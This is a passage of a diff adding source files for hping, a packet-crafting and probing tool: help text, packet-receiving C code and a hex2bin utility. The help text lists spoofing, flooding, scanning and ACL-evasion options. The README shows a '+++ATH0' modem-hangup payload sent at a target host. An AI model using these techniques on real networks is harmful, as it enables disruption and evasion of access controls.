millert Exp $ */ + +/* + * Copyright (c) 1998 Todd C. Miller + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, + * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY + * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL + * THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; + * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, + * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR + * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF + * ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* $Id: strlcpy.c,v 1.5 2003/07/28 09:00:55 njombart Exp $ */ + +/* This function comes from BSD */ +#if !defined(__FreeBSD__) && !defined(__OpenBSD__) && !defined(__NetBSD__) && \ + !defined(__bsdi__) && !defined(__APPLE__) +#include +#include + +/* + * Copy src to string dst of size siz. At most siz-1 characters + * will be copied. Always NUL terminates (unless siz == 0). + * Returns strlen(src); if retval >= siz, truncation occurred. + */ +size_t strlcpy(dst, src, siz) + char *dst; + const char *src; + size_t siz; +{ + register char *d = dst; + register const char *s = src; + register size_t n = siz; + + /* Copy as many bytes as will fit */ + if (n != 0 && --n != 0) { + do { + if ((*d++ = *s++) == 0) + break; + } while (--n != 0); + } + + /* Not enough room in dst, add NUL and traverse rest of src */ + if (n == 0) { + if (siz != 0) + *d = '\0'; /* NUL-terminate dst */ + while (*s++) + ; + } + + return(s - src - 1); /* count does not include NUL */ +} + +#endif /* ! __*BSD__ */ diff --git a/systype.h b/systype.h new file mode 100644 index 0000000..d8bb004 --- /dev/null +++ b/systype.h @@ -0,0 +1,6 @@ +#ifndef __SYSTYPE_H +#define __SYSTYPE_H + +#define OSTYPE_LINUX + +#endif /* SYSTYPE_H */ diff --git a/usage.c b/usage.c new file mode 100644 index 0000000..7da93ba --- /dev/null +++ b/usage.c @@ -0,0 +1,151 @@ +/* + * $smu-mark$ + * $name: usage.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:50 MET 1999$ + * $rev: 8$ + */ + +/* $Id: usage.c,v 1.13 2003/08/07 23:55:55 antirez Exp $ */ + +#include +#include +#include + +void show_usage(void) +{ + printf( +"usage: hping host [options]\n" +" -h --help show this help\n" +" -v --version show version\n" +" -c --count packet count\n" +" -i --interval wait (uX for X microseconds, for example -i u1000)\n" +" --fast alias for -i u10000 (10 packets for second)\n" +" --flood sent packets as fast as possible. Don't show replies.\n" +" -n --numeric numeric output\n" +" -q --quiet quiet\n" +" -I --interface interface name (otherwise default routing interface)\n" +" -V --verbose verbose mode\n" +" -D --debug debugging info\n" +" -z --bind bind ctrl+z to ttl (default to dst port)\n" +" -Z --unbind unbind ctrl+z\n" +"Mode\n" +" default mode TCP\n" +" -0 --rawip RAW IP mode\n" +" -1 --icmp ICMP mode\n" +" -2 --udp UDP mode\n" +" -6 --ipv6 IPv6 mode\n" +" -8 --scan SCAN mode.\n" +" Example: hping --scan 1-30,70-90 -S www.target.host\n" +" -9 --listen listen mode\n" +"IP\n" +" -a --spoof spoof source address\n" +" --rand-dest random destionation address mode. see the man.\n" +" --rand-source random source address mode. see the man.\n" +" -t --ttl ttl (default 64)\n" +" -N --id id (default random)\n" +" -W --winid use win* id byte ordering\n" +" -r --rel relativize id field (to estimate host traffic)\n" +" -f --frag split packets in more frag. (may pass weak acl)\n" +" -x --morefrag set more fragments flag\n" +" -y --dontfrag set dont fragment flag\n" +" -g --fragoff set the fragment offset\n" +" -m --mtu set virtual mtu, implies --frag if packet size > mtu\n" +" -o --tos type of service (default 0x00), try --tos help\n" +" -G --rroute includes RECORD_ROUTE option and display the route buffer\n" +" --lsrr loose source routing and record route\n" +" --ssrr strict source routing and record route\n" +" -H --ipproto set the IP protocol field, only in RAW IP mode\n" +"ICMP\n" +" -C --icmptype icmp type (default echo request)\n" +" -K --icmpcode icmp code (default 0)\n" +" --force-icmp send all icmp types (default send only supported types)\n" +" --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0)\n" +" --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp)\n" +" --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask)\n" +" --icmp-help display help for others icmp options\n" +"UDP/TCP\n" +" -s --baseport base source port (default random)\n" +" -p --destport [+][+] destination port(default 0) ctrl+z inc/dec\n" +" -k --keep keep still source port\n" +" -w --win winsize (default 64)\n" +" -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4)\n" +" -Q --seqnum shows only tcp sequence number\n" +" -b --badcksum (try to) send packets with a bad IP checksum\n" +" many systems will fix the IP checksum sending the packet\n" +" so you'll get bad UDP/TCP checksum instead.\n" +" -M --setseq set TCP sequence number\n" +" -L --setack set TCP ack\n" +" -F --fin set FIN flag\n" +" -S --syn set SYN flag\n" +" -R --rst set RST flag\n" +" -P --push set PUSH flag\n" +" -A --ack set ACK flag\n" +" -U --urg set URG flag\n" +" -X --xmas set X unused flag (0x40)\n" +" -Y --ymas set Y unused flag (0x80)\n" +" --tcpexitcode use last tcp->th_flags as exit code\n" +" --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime\n" +"Common\n" +" -d --data data size (default is 0)\n" +" -E --file data from file\n" +" -e --sign add 'signature'\n" +" -j --dump dump packets in hex\n" +" -J --print dump printable characters\n" +" -B --safe enable 'safe' protocol\n" +" -u --end tell you when --file reached EOF and prevent rewind\n" +" -T --traceroute traceroute mode (implies --bind and --ttl 1)\n" +" --tr-stop Exit when receive the first not ICMP in traceroute mode\n" +" --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop\n" +" --tr-no-rtt Don't calculate/show RTT information in traceroute mode\n" +"ARS packet description (new, unstable)\n" +" --apd-send Send the packet described with APD (see docs/APD.txt)\n" + ); + exit(0); +}; + +void tos_help(void) +{ + printf( +"tos help:\n" +" TOS Name Hex Value Typical Uses\n" +"\n" +" Minimum Delay 10 ftp, telnet\n" +" Maximum Throughput 08 ftp-data\n" +" Maximum Reliability 04 snmp\n" +" Minimum Cost 02 nntp\n" + ); + exit(0); +} + +void icmp_help(void) +{ + printf( +"ICMP help:\n" +" ICMP concerned packet options:\n" +" --icmp-ipver set ip version ( default 4 )\n" +" --icmp-iphlen set ip header lenght ( default IPHDR_SIZE >> 2)\n" +" --icmp-iplen set ip total lengtht ( default real lenght )\n" +" --icmp-ipid set ip id ( default random )\n" +" --icmp-ipproto set ip protocol ( default IPPROTO_TCP )\n" +" --icmp-ipsrc set ip source ( default 0.0.0.0 )\n" +" --icmp-ipdst set ip destination ( default 0.0.0.0 )\n" +" --icmp-srcport set tcp/udp source port ( default random )\n" +" --icmp-dstport set tcp/udp destination port ( default random )\n" +" --icmp-cksum set icmp checksum ( default the right cksum)\n" + ); + exit(0); +} + +void route_help(void) +{ + printf( +"route help:\n" +" A route has the following format: [ptr:]IP1[/IP2[/IP3...]]\n" +" where ptr is the exact value of the pointer that will be used for the IP\n" +" option (be careful, no check is performed on this pointer), and defaults\n" +" to 8, or 4 if provided route is too short for 8;\n" +" and each IPx field is an IP address to include in the source route.\n"); +} diff --git a/utils/Makefile b/utils/Makefile new file mode 100644 index 0000000..bdb2504 --- /dev/null +++ b/utils/Makefile @@ -0,0 +1,10 @@ +CC=gcc +CCOPT=-Wall + +all: hex2bin + +hex2bin: hex2bin.c + $(CC) $(CCOPT) -o hex2bin hex2bin.c + +clean: + rm -f hex2bin diff --git a/utils/README.HEX2BIN b/utils/README.HEX2BIN new file mode 100644 index 0000000..ff4d869 --- /dev/null +++ b/utils/README.HEX2BIN @@ -0,0 +1,20 @@ +hex2bin is an utility to convert a string in hexadecimal format like +"2b2b2b415448300d" (an example to test a stupid modem vulnerability) +in the binary equivalent. For example: + +# echo -n "2b2b2b415448300d" | ./hex2bin > modem.string + +# cat modem.string ++++ATH0 + +# ls -l modem.string +-rw-r--r-- 1 antirez users 8 Nov 17 16:01 modem.string + +# hping2 --file ./modem.string -d 8 --icmp target.host.org + +using switch '-r' hex2bin perform exactly the inverse operation. +for example: + +echo "antirez" | ./hex2bin -r + +616e746972657a0a diff --git a/utils/hex2bin.c b/utils/hex2bin.c new file mode 100644 index 0000000..876415a --- /dev/null +++ b/utils/hex2bin.c @@ -0,0 +1,63 @@ +/* + * hex2bin - simple hex to bin filter + * antirez@invece.org - under GPL version 2 + */ + +#include +#include +#include +#include +#include +#include + +int hex2bin(void) +{ + char hex[3]; + int d = 0; + unsigned char c; + int stdin_fd = fileno(stdin); + int n_read; + + while((n_read = read(stdin_fd, hex, 2)) > 0) + { + if (n_read == 1) + { + if (hex[0] != '\n') + { + fprintf(stderr, + "input parse error, odd digits in hex file\n"); + exit(1); + } + else + exit(1); + } + hex[2] = '\0'; + sscanf(hex, "%x", &d); + c = (unsigned char) d; + printf("%c", c); + } + return 0; +} + +int bin2hex(void) +{ + int stdin_fd = fileno(stdin); + int n_read; + unsigned char c; + + while((n_read = read(stdin_fd, &c, 1)) > 0) + { + printf("%.2x", c); + } + return 0; +} + +int main(int argc, char **argv) +{ + if (argc >= 2 && strstr(argv[1], "-r")) + bin2hex(); + else + hex2bin(); + + return 0; +} diff --git a/version.c b/version.c new file mode 100644 index 0000000..01459ec --- /dev/null +++ b/version.c @@ -0,0 +1,28 @@ +/* + * $smu-mark$ + * $name: version.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:50 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include + +#include "release.h" +#include "hping2.h" + +void show_version(void) +{ + printf("hping version %s (%s)\n", RELEASE_VERSION, RELEASE_DATE); +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) + printf("libpcap based binary\n"); +#else + printf("linux sockpacket based binary\n"); +#endif /* !OSTYPE_LINUX || FORCE_LIBPCAP */ + exit(0); +} + diff --git a/waitpacket.c b/waitpacket.c new file mode 100644 index 0000000..1eb0b9a --- /dev/null +++ b/waitpacket.c @@ -0,0 +1,849 @@ +/* waitpacket.c -- handle and print the incoming packet + * Copyright(C) 1999-2001 Salvatore Sanfilippo + * Under GPL, see the COPYING file for more information about + * the license. */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" +#include "globals.h" + +static int icmp_unreach_rtt(void *quoted_ip, int size, + int *seqp, float *ms_delay); +static void print_tcp_timestamp(void *tcp, int tcpsize); +static int recv_icmp(void *packet, size_t size); +static int recv_udp(void *packet, size_t size); +static int recv_tcp(void *packet, size_t size); +static void hex_dump(void *packet, int size); +static void human_dump(void *packet, int size); +static void handle_hcmp(char *packet, int size); + +static struct myiphdr *ip; +static struct myip6hdr *ip6; +static int ip_size; +static struct in_addr src, dst; +static struct in6_addr src6, dst6; + +static int handle_ipv4(char *ip_packet, int ip_size); +static int handle_ipv6(char *ip_packet, int ip_size); +static int icmp6_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay); +static int icmp_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay); + +static int notrace; + +void wait_packet(void) +{ + int match = 0; + int size; + char packet [IP_MAX_SIZE+linkhdr_size]; + char *ip_packet; + + size = read_packet(packet, IP_MAX_SIZE+linkhdr_size); + switch(size) { + case 0: + return; + case -1: + exit(1); + } + + /* Check if the packet is shorter than the link header size */ + if (size < linkhdr_size) { + if (opt_debug) + printf("DEBUG: WARNING: packet size(%i) < linkhdr_size(%i)\n", + size, linkhdr_size); + return; + } + + /* IP packet pointer and len */ + ip_packet = packet + linkhdr_size; + ip_size = size - linkhdr_size; + + /* Truncated IP header? */ + if ((!opt_ipv6 && ip_size < IPHDR_SIZE) || + (opt_ipv6 && ip_size < IP6HDR_SIZE)) { + if (opt_debug) + printf("[|ip fix]\n"); + return; + } + + ip = (struct myiphdr*)(packet+linkhdr_size); + if(ip->version == 4 && !opt_ipv6) + match = handle_ipv4(ip_packet, ip_size); + else if(ip->version == 6 && opt_ipv6) + { + ip6 = (struct myip6hdr*)(packet+linkhdr_size); + match = handle_ipv6(ip_packet, ip_size); + } + + if (match) + recv_pkt++; + + /* Dump the packet in hex */ + if (opt_hexdump && match && !opt_quiet) + hex_dump(ip_packet, ip_size); + + /* Dump printable characters inside the packet */ + if (opt_contdump && match && !opt_quiet) + human_dump(ip_packet, ip_size); + + /* Display IP options */ + if (match && opt_rroute && !opt_quiet && !opt_ipv6) + display_ipopt(ip_packet); + + /* --tr-stop stops hping in traceroute mode when the + * first not ICMP time exceeded packet is received */ + if (opt_traceroute && opt_tr_stop && notrace) + print_statistics(0); + + /* if the count was reached exit now */ + if (count != -1 && count == recv_pkt) + print_statistics(0); +} + +static int +handle_ipv4(char *ip_packet, int ip_size) +{ + int iphdr_size, enc_size; + char *enc_packet; + + iphdr_size = ip->ihl * 4; + + /* Bad IP header len? */ + if (iphdr_size > ip_size) { + if (opt_debug) + printf("[|iphdr size]\n"); + return 0; + } + + /* Handle the HCMP for almost safe file transfer with hping */ + if (opt_sign) + handle_hcmp(ip_packet, ip_size); + + /* Check if the dest IP address is the one of our interface */ + if (memcmp(&ip->daddr, &ADDR4(&local), sizeof(ip->daddr))) + return 0; + /* If the packet isn't an ICMP error it should come from + * our target IP addresss. We accept packets from all the + * source if the random destination option is active */ + if (ip->protocol != IPPROTO_ICMP && !opt_rand_dest) { + if (memcmp(&ip->saddr, &ADDR4(&remote), sizeof(ip->saddr))) + return 0; + } + + /* Get the encapsulated protocol offset and size */ + enc_packet = ip_packet + iphdr_size; + enc_size = ip_size - iphdr_size; + + /* Put the IP source and dest addresses in a struct in_addr */ + memcpy(&src, &(ip->saddr), sizeof(struct in_addr)); + memcpy(&dst, &(ip->daddr), sizeof(struct in_addr)); + + switch(ip->protocol) { + case IPPROTO_ICMP: + return recv_icmp(enc_packet, enc_size); + break; + case IPPROTO_UDP: + return recv_udp(enc_packet, enc_size); + break; + case IPPROTO_TCP: + return recv_tcp(enc_packet, enc_size); + break; + default: + return 0; + } + +} + +static int +handle_ipv6(char *ip_packet, int ip_size) +{ + int enc_size; + char *enc_packet; + + /* Check if the dest IP address is the one of our interface */ + if (memcmp(ip6->daddr, &ADDR6(&local), 16)) + return 0; + /* If the packet isn't an ICMP error it should come from + * our target IP addresss. We accept packets from all the + * source if the random destination option is active */ + if (ip6->nextheader != 58 && !opt_rand_dest) { + if (memcmp(ip6->saddr, &ADDR6(&remote), 16)) + return 0; + } + + /* Get the encapsulated protocol offset and size */ + enc_packet = ip_packet + sizeof(*ip6); + enc_size = ip_size - sizeof(*ip6); + + /* Put the IP source and dest addresses in a struct in_addr */ + memcpy(&src6, ip6->saddr, sizeof(struct in6_addr)); + memcpy(&dst6, ip6->daddr, sizeof(struct in6_addr)); + + switch(ip6->nextheader) { + case 58: + return recv_icmp6(enc_packet, enc_size); + break; + case IPPROTO_UDP: + return recv_udp(enc_packet, enc_size); + break; + case IPPROTO_TCP: + return recv_tcp(enc_packet, enc_size); + break; + default: + printf("xx %i\n", ip6->nextheader); + } + return 0; +} + +static void +log_ipv4(int status, int sequence) +{ + int rel_id, ip_id; + + /* get ip->id */ + if (opt_winid_order) + ip_id = ip->id; + else + ip_id = htons(ip->id); + + if (opt_relid) + rel_id = relativize_id(sequence, &ip_id); + else + rel_id = 0; + printf("len=%d ip=%s ttl=%d %sid%s%d ", ip_size, inet_ntoa(src), + ip->ttl, + (ntohs(ip->frag_off) ? "DF " : ""), + (rel_id ? "=+" : "="), ip_id); + if (opt_verbose && !opt_quiet) + printf("tos=%x iplen=%u\n", ip->tos, htons(ip->tot_len)); +} + +static void +log_ipv6(int status, int sequence) +{ + char tmp[1024]; + + printf("len=%d ip=%s ttl=%d ", ip_size, inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), + ip6->hoplimit); + if (opt_verbose && !opt_quiet) + printf("tc=%x flowlabel=%u\n", (ip6->tc1 << 4) | ip6->tc2, (ip6->flowlabel1 << 16) | ip6->flowlabel2); +} + +static void +log_ip(int status, int sequence) +{ + if(status == S_RECV) + printf("DUP! "); + if(ip->version == 4) + log_ipv4(status, sequence); + else + log_ipv6(status, sequence); +} + + +void log_icmp_ts(void *ts) +{ + struct icmp_tstamp_data icmp_tstamp; + + memcpy(&icmp_tstamp, ts, sizeof(icmp_tstamp)); + printf("ICMP timestamp: Originate=%u Receive=%u Transmit=%u\n", + (unsigned int) ntohl(icmp_tstamp.orig), + (unsigned int) ntohl(icmp_tstamp.recv), + (unsigned int) ntohl(icmp_tstamp.tran)); + printf("ICMP timestamp RTT tsrtt=%lu\n\n", + (long unsigned int) (get_midnight_ut_ms() + - ntohl(icmp_tstamp.orig))); +} + +void log_icmp_addr(void *addrptr) +{ + unsigned char *addr = addrptr; + printf("ICMP address mask: icmpam=%u.%u.%u.%u\n\n", + addr[0], addr[1], addr[2], addr[3]); +} + +void log_traceroute(void *packet, int size, int icmp_code) +{ + static __u8 old_src_addr[16]; + int sequence = 0, retval; + float rtt; + char tmp[1024]; + + if (!opt_ipv6 && !opt_tr_keep_ttl && !memcmp(&ip->saddr, old_src_addr, 4)) + return; + if (opt_ipv6 && !opt_tr_keep_ttl && !memcmp(&ip6->saddr, old_src_addr, 16)) + return; + + if(opt_ipv6) + retval = icmp6_unreach_rtt(packet+ICMPHDR_SIZE, size-ICMPHDR_SIZE, + &sequence, &rtt); + else + retval = icmp_unreach_rtt(packet+ICMPHDR_SIZE, size-ICMPHDR_SIZE, + &sequence, &rtt); + printf("hop=%d ", src_ttl); + fflush(stdout); + + if(!opt_ipv6) + { + memcpy(old_src_addr, &ip->saddr, sizeof(ip->saddr)); + log_icmp_timeexc(inet_ntop(opt_af, &src, tmp, sizeof(tmp)), icmp_code); + } + else + { + memcpy(old_src_addr, ip6->saddr, sizeof(ip6->saddr)); + log_icmp_timeexc(inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), icmp_code); + } + if (retval != -1) + printf(" hoprtt=%.1f ms", rtt); + if (!opt_tr_keep_ttl) + src_ttl++; + putchar('\n'); +} + +int recv_icmp(void *packet, size_t size) +{ + struct myicmphdr *icmp; + struct myiphdr quoted_ip; + + /* Check if the packet can contain the ICMP header */ + if (size < ICMPHDR_SIZE) { + printf("[|icmp]\n"); + return 0; + } + icmp = (struct myicmphdr *)packet; + + /* --------------------------- * + * ICMP ECHO/TIMESTAMP/ADDRESS * + * --------------------------- */ + if ((icmp->type == ICMP_ECHOREPLY || + icmp->type == ICMP_TIMESTAMPREPLY || + icmp->type == ICMP_ADDRESSREPLY) && + icmp->un.echo.id == (getpid() & 0xffff)) + { + int icmp_seq = icmp->un.echo.sequence; + int status; + float ms_delay; + + /* obtain round trip time */ + status = rtt(&icmp_seq, 0, &ms_delay); + log_ip(status, icmp_seq); + + printf("icmp_seq=%d rtt=%.1f ms\n", icmp_seq, ms_delay); + if (icmp->type == ICMP_TIMESTAMPREPLY) { + if ((size - ICMPHDR_SIZE) >= 12) + log_icmp_ts(packet+ICMPHDR_SIZE); + else + printf("[|icmp timestamp]\n"); + } else if (icmp->type == ICMP_ADDRESSREPLY) { + if ((size - ICMPHDR_SIZE) >= 4) + log_icmp_addr(packet+ICMPHDR_SIZE); + else + printf("[|icmp subnet address]\n"); + } + notrace = 1; + return 1; + } + /* ------------------------------------ * + * ICMP DEST UNREACHABLE, TIME EXCEEDED * + * ------------------------------------ */ + else if (icmp->type == 3 || icmp->type == 11) { + if ((size - ICMPHDR_SIZE) < sizeof(struct myiphdr)) { + printf("[|icmp quoted ip]\n"); + return 0; + } + memcpy("ed_ip, packet+ICMPHDR_SIZE, sizeof(quoted_ip)); + if (memcmp("ed_ip.daddr, &ADDR4(&remote), + sizeof(quoted_ip.daddr)) || + memcmp(&ip->daddr, &ADDR4(&local), sizeof(ip->daddr))) + return 0; /* addresses don't match */ + /* Now we can handle the specific type */ + switch(icmp->type) { + case 3: + if (!opt_quiet) + log_icmp_unreach(inet_ntoa(src), icmp->code); + notrace = 1; + return 1; + case 11: + if (opt_traceroute) + log_traceroute(packet, size, icmp->code); + else + { + log_icmp_timeexc(inet_ntoa(src), icmp->code); + putchar('\n'); + notrace = 1; + } + return 1; + } + } + + return 0; /* don't match */ +} + +int recv_icmp6(void *packet, size_t size) +{ + struct myicmphdr *icmp; + struct myip6hdr *quoted_ip; + char tmp[1024]; + + /* Check if the packet can contain the ICMP header */ + if (size < ICMPHDR_SIZE) { + printf("[|icmp]\n"); + return 0; + } + icmp = (struct myicmphdr *)packet; + + /* --------------------------- * + * ICMP ECHO/TIMESTAMP/ADDRESS * + * --------------------------- */ + if (icmp->type == ICMP6_ECHOREPLY && + icmp->un.echo.id == (getpid() & 0xffff)) + { + int icmp_seq = icmp->un.echo.sequence; + int status; + float ms_delay; + + /* obtain round trip time */ + status = rtt(&icmp_seq, 0, &ms_delay); + log_ip(status, icmp_seq); + + printf("icmp_seq=%d rtt=%.1f ms\n", icmp_seq, ms_delay); + notrace = 1; + return 1; + } + /* ------------------------------------ * + * ICMP DEST UNREACHABLE, TIME EXCEEDED * + * ------------------------------------ */ + if ((size - ICMPHDR_SIZE) < sizeof(struct myip6hdr)) { + printf("[|icmp quoted ip]\n"); + return 0; + } + quoted_ip = (struct myip6hdr *)(packet + ICMPHDR_SIZE); + if(memcmp(quoted_ip->daddr, &ADDR6(&remote), + sizeof(quoted_ip->daddr)) || + memcmp(ip6->daddr, &ADDR6(&local), sizeof(ip6->daddr))) + return 0; /* addresses don't match */ + /* Now we can handle the specific type */ + switch(icmp->type) { + case 1: + if (!opt_quiet) + log_icmp6_unreach(inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), icmp->code); + notrace = 1; + return 1; + case 2: + if (!opt_quiet) + log_icmp6_ptb(inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), ntohl(icmp->un.mtu)); + notrace = 1; + return 1; + case 3: + if (opt_traceroute) + log_traceroute(packet, size, icmp->code); + else + { + log_icmp_timeexc(inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), icmp->code); + putchar('\n'); + notrace = 1; + } + return 1; + } + + return 0; /* don't match */ +} + +int recv_udp(void *packet, size_t size) +{ + struct myudphdr udp; + int sequence = 0, status; + float ms_delay; + + if (size < UDPHDR_SIZE) { + printf("[|udp]\n"); + return 0; + } + memcpy(&udp, packet, sizeof(udp)); + + /* check if the packet matches */ + if ((ntohs(udp.uh_sport) == dst_port) || + (opt_force_incdport && + (ntohs(udp.uh_sport) >= base_dst_port && + ntohs(udp.uh_sport) <= dst_port))) + { + status = rtt(&sequence, ntohs(udp.uh_dport), &ms_delay); + if (!opt_quiet) { + log_ip(status, sequence); + printf("seq=%d rtt=%.1f ms\n", sequence, ms_delay); + } + if (opt_incdport && !opt_force_incdport) + dst_port++; + notrace = 1; + return 1; + } + return 0; +} + +int recv_tcp(void *packet, size_t size) +{ + struct mytcphdr tcp; + int sequence = 0, status; + float ms_delay; + char flags[16]; + + if (size < TCPHDR_SIZE) { + printf("[|tcp]\n"); + return 0; + } + memcpy(&tcp, packet, sizeof(tcp)); + + /* check if the packet matches */ + if ((ntohs(tcp.th_sport) == dst_port) || + (opt_force_incdport && + (ntohs(tcp.th_sport) >= base_dst_port && + ntohs(tcp.th_sport) <= dst_port))) + { + tcp_exitcode = tcp.th_flags; + + status = rtt(&sequence, ntohs(tcp.th_dport), &ms_delay); + + if (opt_seqnum) { + static __u32 old_th_seq = 0; + __u32 seq_diff, tmp; + + tmp = ntohl(tcp.th_seq); + if (tmp >= old_th_seq) + seq_diff = tmp - old_th_seq; + else + seq_diff = (4294967295U - old_th_seq) + + tmp; + old_th_seq = tmp; + printf("%10lu +%lu\n", + (unsigned long) tmp, + (unsigned long) seq_diff); + goto out; + } + + if (opt_quiet) + goto out; + + flags[0] = '\0'; + if (tcp.th_flags & TH_RST) strcat(flags, "R"); + if (tcp.th_flags & TH_SYN) strcat(flags, "S"); + if (tcp.th_flags & TH_ACK) strcat(flags, "A"); + if (tcp.th_flags & TH_FIN) strcat(flags, "F"); + if (tcp.th_flags & TH_PUSH) strcat(flags, "P"); + if (tcp.th_flags & TH_URG) strcat(flags, "U"); + if (tcp.th_flags & TH_X) strcat(flags, "X"); + if (tcp.th_flags & TH_Y) strcat(flags, "Y"); + if (flags[0] == '\0') strcat(flags, "none"); + + log_ip(status, sequence); + printf("sport=%d flags=%s seq=%d win=%d rtt=%.1f ms\n", + ntohs(tcp.th_sport), flags, sequence, + ntohs(tcp.th_win), ms_delay); + + if (opt_verbose) { + printf("seq=%lu ack=%lu sum=%x urp=%u\n\n", + (unsigned long) ntohl(tcp.th_seq), + (unsigned long) ntohl(tcp.th_ack), + tcp.th_sum, ntohs(tcp.th_urp)); + } + + /* Get and log the TCP timestamp */ + if (opt_tcp_timestamp) + print_tcp_timestamp(packet, size); +out: + if (opt_incdport && !opt_force_incdport) + dst_port++; + notrace = 1; + return 1; + } + return 0; +} + +/* Try to extract information about the original packet from the + * ICMP error to obtain the round time trip + * + * Note that size is the the packet size starting from the + * IP packet quoted in the ICMP error, it may be negative + * if the ICMP is broken */ +static int +icmp_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay) +{ + int src_port; + int sequence = 0; + int quoted_iphdr_size; + struct myudphdr udp; + struct myicmphdr icmp; + struct myiphdr qip; + + /* The user specified --no-rtt */ + if (opt_tr_no_rtt) + return -1; + + if (size < sizeof(struct myiphdr)) + return -1; + memcpy(&qip, quoted_ip, sizeof(struct myiphdr)); + quoted_iphdr_size = qip.ihl << 2; + /* Ok, enough room, try to get the rtt, + * but check if the original packet was an UDP/TCP one */ + if (qip.protocol == IPPROTO_TCP || + qip.protocol == IPPROTO_UDP) { + /* We need at least 2 bytes of the quoted UDP/TCP header + * for the source port */ + if ((size - quoted_iphdr_size) < 2) + return -1; + + /* Use the UDP header for both UDP and TCP, they are + * the same in the 4 first bytes (source and dest port) */ + memcpy(&udp, quoted_ip+quoted_iphdr_size, sizeof(udp)); + src_port = htons(udp.uh_sport); + return rtt(&sequence, src_port, ms_delay); + } else if (qip.protocol == IPPROTO_ICMP) { + int s; + + /* We need the whole 8 byte ICMP header to get + * the sequence field, also the type must be + * ICMP_ECHO */ + memcpy(&icmp, quoted_ip+quoted_iphdr_size, sizeof(icmp)); + if ((size - quoted_iphdr_size) < 8 || + icmp.type != ICMP_ECHO) + return -1; + + s = icmp.un.echo.sequence; + return rtt(&s, 0, ms_delay); + } + return -1; /* no way */ +} + +static int +icmp6_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay) +{ + int src_port; + int sequence = 0; + struct myudphdr udp; + struct myicmphdr icmp; + struct myip6hdr *qip; + + /* The user specified --no-rtt */ + if (opt_tr_no_rtt) + return -1; + + if (size < sizeof(struct myip6hdr)) + return -1; + qip = (struct myip6hdr *)quoted_ip; + + /* Ok, enough room, try to get the rtt, + * but check if the original packet was an UDP/TCP one */ + if (qip->nextheader == IPPROTO_TCP || + qip->nextheader == IPPROTO_UDP) { + /* We need at least 2 bytes of the quoted UDP/TCP header + * for the source port */ + if ((size - IP6HDR_SIZE) < 2) + return -1; + + /* Use the UDP header for both UDP and TCP, they are + * the same in the 4 first bytes (source and dest port) */ + memcpy(&udp, quoted_ip + IP6HDR_SIZE, sizeof(udp)); + src_port = htons(udp.uh_sport); + return rtt(&sequence, src_port, ms_delay); + } else if (qip->nextheader == 58) { + int s; + + /* We need the whole 8 byte ICMP header to get + * the sequence field, also the type must be + * ICMP_ECHO */ + memcpy(&icmp, quoted_ip + IP6HDR_SIZE, sizeof(icmp)); + if ((size - IP6HDR_SIZE) < 8 || + icmp.type != ICMP6_ECHO) + return -1; + + s = icmp.un.echo.sequence; + return rtt(&s, 0, ms_delay); + } + return -1; /* no way */ +} + +void print_tcp_timestamp(void *tcp, int tcpsize) +{ + int optlen; + unsigned char *opt; + __u32 tstamp, echo; + static __u32 last_tstamp = 0; + struct mytcphdr tmptcphdr; + unsigned int tcphdrlen; + + if (tcpsize < TCPHDR_SIZE) + return; + memcpy(&tmptcphdr, tcp, sizeof(struct mytcphdr)); + tcphdrlen = tmptcphdr.th_off * 4; + + /* bad len or no options in the TCP header */ + if (tcphdrlen <= 20 || tcphdrlen < tcpsize) + return; + optlen = tcphdrlen - TCPHDR_SIZE; + opt = (unsigned char*)tcp + TCPHDR_SIZE; /* skips the TCP fix header */ + while(optlen) { + switch(*opt) { + case 0: /* end of option */ + return; + case 1: /* noop */ + opt++; + optlen--; + continue; + default: + if (optlen < 2) + return; + if (opt[1] > optlen) + return; + if (opt[0] != 8) { /* not timestamp */ + optlen -= opt[1]; + opt += opt[1]; + continue; + } + /* timestamp found */ + if (opt[1] != 10) /* bad len */ + return; + memcpy(&tstamp, opt+2, 4); + memcpy(&echo, 